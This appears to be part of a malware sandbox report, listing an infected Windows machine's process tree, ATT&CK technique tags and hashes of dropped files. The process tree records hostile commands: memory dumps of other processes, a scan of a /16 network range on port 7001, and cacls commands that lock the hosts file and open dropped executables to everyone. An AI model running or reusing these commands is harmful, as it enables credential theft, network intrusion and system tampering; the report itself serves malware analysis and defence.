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C:\Windows\TEMP\tjbrgizie\flvstzhft.exeC:\Windows\TEMP\tjbrgizie\flvstzhft.exe -accepteula -mp 1116 C:\Windows\TEMP\tjbrgizie\1116.dmp2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1620
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C:\Windows\TEMP\tjbrgizie\flvstzhft.exeC:\Windows\TEMP\tjbrgizie\flvstzhft.exe -accepteula -mp 1168 C:\Windows\TEMP\tjbrgizie\1168.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2820
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C:\Windows\TEMP\tjbrgizie\flvstzhft.exeC:\Windows\TEMP\tjbrgizie\flvstzhft.exe -accepteula -mp 2236 C:\Windows\TEMP\tjbrgizie\2236.dmp2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2656
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C:\Windows\TEMP\tjbrgizie\flvstzhft.exeC:\Windows\TEMP\tjbrgizie\flvstzhft.exe -accepteula -mp 996 C:\Windows\TEMP\tjbrgizie\996.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1616
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C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\tjbrgizie\ptescsiac\scan.bat2⤵
- Loads dropped DLL
PID:2232 -
C:\Windows\tjbrgizie\ptescsiac\ierfsbrfg.exeierfsbrfg.exe TCP 191.101.0.1 191.101.255.255 7001 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:2588
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵PID:3484
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3716
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:3672
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3468
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:3788
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3492
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:3536
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2416
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C:\Windows\SysWOW64\kkqiuy.exeC:\Windows\SysWOW64\kkqiuy.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2740
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C:\Windows\system32\taskeng.exetaskeng.exe {0368FD0A-DFD3-4510-92A2-00A736912017} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:2924
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\isugpkis\gkzutth.exe /p everyone:F2⤵PID:2712
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2164
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C:\Windows\system32\cacls.execacls C:\Windows\isugpkis\gkzutth.exe /p everyone:F3⤵PID:308
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\riuvilefa\tusert.exe /p everyone:F2⤵PID:1996
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1752
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C:\Windows\system32\cacls.execacls C:\Windows\TEMP\riuvilefa\tusert.exe /p everyone:F3⤵PID:1464
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\gkzutth.exe2⤵PID:2516
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C:\Windows\ime\gkzutth.exeC:\Windows\ime\gkzutth.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:336
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\riuvilefa\tusert.exe /p everyone:F2⤵PID:1532
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3112
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C:\Windows\system32\cacls.execacls C:\Windows\TEMP\riuvilefa\tusert.exe /p everyone:F3⤵PID:3504
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\isugpkis\gkzutth.exe /p everyone:F2⤵PID:3172
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3276
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C:\Windows\system32\cacls.execacls C:\Windows\isugpkis\gkzutth.exe /p everyone:F3⤵PID:3748
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C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\gkzutth.exe2⤵PID:3524
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C:\Windows\ime\gkzutth.exeC:\Windows\ime\gkzutth.exe3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of SetWindowsHookEx
PID:3296
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
95KB
MD586316be34481c1ed5b792169312673fd
SHA16ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5
SHA25649656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918
SHA5123a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc
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Filesize
275KB
MD54633b298d57014627831ccac89a2c50b
SHA1e5f449766722c5c25fa02b065d22a854b6a32a5b
SHA256b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9
SHA51229590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3
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Filesize
693B
MD5f2d396833af4aea7b9afde89593ca56e
SHA108d8f699040d3ca94e9d46fc400e3feb4a18b96b
SHA256d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34
SHA5122f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01
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Filesize
1.4MB
MD53a0deb471aabb2d413303555c50ef3e9
SHA1fb156e3f9d4fd1c47dee947207fda510e3d40fba
SHA25658efad963a081524e265ba38b48546b592437da3611f8e954b3f9f3bb9d59e5a
SHA51272341396bd8b74b5178b7d62b778bd0c41808e77ef4539de1fe00631a848f5f059e2a33acf7c4f9337e8adae197f096ca3db2de43e38ef3c9b438289dc3ab638
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Filesize
1.2MB
MD5fa2e0ac2cf16721a0264098f954ad463
SHA130ce6f317afd182d08432cddd3629271deb1e2f7
SHA256b7577901460b00e36ccb79beb2a062c6e3faba99ee448010b64455d9fa3915f1
SHA51236fdafc4bf5125afd51fb241a2d4e25e90311d4764cfcd24b712012f4533c824ce9a9f0281dc28ea54aad39a41cfb0d2ef7d4591ca4db114af4e6a17dbecdedf
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Filesize
4.9MB
MD55c95f4629e64f2a579c43606a5239181
SHA1c1f4575fa5def2f01ac38ff375126fcbb45f2542
SHA256eef69f39b985020c7f1697564829cdce0dbd978581b2b865084f413dbe23096e
SHA51216a5d4ef61f12cda30bf6ada79250a511fb7b0e46d8f132cc04bbbcc0744d21b120991d2af27c145956b855740a66ba7d23c3eb1414e5a82b4486cd54714810c
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Filesize
4.5MB
MD5a068d8ed13216883125901596c8c778a
SHA1939a228019fcc0a7e7415de82cebe72f5bc2a8c3
SHA2569e15c7c39be559048e186d0159cab767e6f726a36a7daddc342e48c08efaacd2
SHA512f532099398a7c86aa014b7656cf0497de0f4fc8047e0e75e5ac08840a502296bff01c85c8911aba121221bd4ded2f001a7372da43135f7c957d52600c5ba6438
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Filesize
843KB
MD50250212c5d494079d76c496544fb525b
SHA105ea5e31939384fad41bcd06297efcf2ab1958ce
SHA25628a442e698809e6b1d827203962ed0d0c792d44f63c7169b739672051be8fe5c
SHA512f08e2e7c35ac90a1d05f8542ab468c55cc01c5a8d51d1bfdd61481f7dcfaa9b66351d85506ff55dc7c0811411687c4af863dee7996f1a4c0d8b2f6ea75194c4d
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Filesize
72KB
MD5cbefa7108d0cf4186cdf3a82d6db80cd
SHA173aeaf73ddd694f99ccbcff13bd788bb77f223db
SHA2567c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9
SHA512b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1
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Filesize
975B
MD5b5d815ff5310f62de5020591be598bc0
SHA18013562b0cc2516d16d474308c8982a31b7f5dd0
SHA256a7ea603e6e80aed429a34b68ca8210ae3b082cf6104646ed7f8025c3b304ae85
SHA5124e3175ef0c289e1beea60f51239a98533690505b709f778703502dad3f72e3c7e9aa26e1a3837712ed5e1344e28e5ccff1d63a1245352bbc8435a71e15347a94
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Filesize
63KB
MD5821ea58e3e9b6539ff0affd40e59f962
SHA1635a301d847f3a2e85f21f7ee12add7692873569
SHA256a06d135690ec5c5c753dd6cb8b4fe9bc8d23ca073ef9c0d8bb1b4b54271f56bb
SHA5120d08235781b81ff9e0a75f0e220a8d368d95ee75bf482670e83696e59d991aad68310ae7fa677ac96ffad1f97b3ec7d7208dc26d2edb111c39213b32502b82f6
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Filesize
160B
MD558ff0567527e846b54df32f4b4850159
SHA17b2a9f84fde27ca1d864df58a84673f100166b10
SHA256d4f6393216c15a47814369cfe5dffb0d5ef30936e023d4059d62ca8859b4c1c5
SHA512dd545500057ac9a3c6d9886b8e244f2a05ec3bc8b0b1767c722600577d6bf1deb028d20e4677a18c51b8fd028b0b1812d3dcbd7bc20d61472c766e4853da311a
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Filesize
160B
MD51aed9817973555983a04f4b642b4c966
SHA1d2a731815d3ccad3ecb20bbefc1d7f3182aabc69
SHA2569b17071737dd589a6bbecb9455698466d88f4a5d62c03259ac030c15064714ff
SHA5129c6331ac1214c5b6c15057f8d223c06b9ec90c2cb03a7df765bb01dd080b21f4b29e55363e9f1e9e16d47360eac820a813450e142ee55c4164066a3366732334
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Filesize
11KB
MD52ae993a2ffec0c137eb51c8832691bcb
SHA198e0b37b7c14890f8a599f35678af5e9435906e1
SHA256681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59
SHA5122501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9
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Filesize
6KB
MD5b648c78981c02c434d6a04d4422a6198
SHA174d99eed1eae76c7f43454c01cdb7030e5772fc2
SHA2563e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9
SHA512219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2
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Filesize
343KB
MD52b4ac7b362261cb3f6f9583751708064
SHA1b93693b19ebc99da8a007fed1a45c01c5071fb7f
SHA256a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23
SHA512c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616
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Filesize
126KB
MD5e8d45731654929413d79b3818d6a5011
SHA123579d9ca707d9e00eb62fa501e0a8016db63c7e
SHA256a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af
SHA512df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6
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Filesize
7.2MB
MD5bb54795d07667228e1617be048e8d899
SHA1362928530e52282b168e22e36ab4e0785343468d
SHA2563c77bb2c1565c5f7490facd0b4f459314a4033ea5a2e06fb57a890717041f148
SHA5127828a7e17fa1ecc4276532493439d44b9f9d2fe930e67928bc39e1a1307ef3d6a62e584b234c98730af612e2471ebdaeaeac2bda3f176802f3b4f81ca15ff05d
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Filesize
381KB
MD5fd5efccde59e94eec8bb2735aa577b2b
SHA151aaa248dc819d37f8b8e3213c5bdafc321a8412
SHA256441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45
SHA51274a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3
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Filesize
332KB
MD5ea774c81fe7b5d9708caa278cf3f3c68
SHA1fc09f3b838289271a0e744412f5f6f3d9cf26cee
SHA2564883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38
SHA5127cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb
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Filesize
424KB
MD5e9c001647c67e12666f27f9984778ad6
SHA151961af0a52a2cc3ff2c4149f8d7011490051977
SHA2567ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d
SHA51256f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe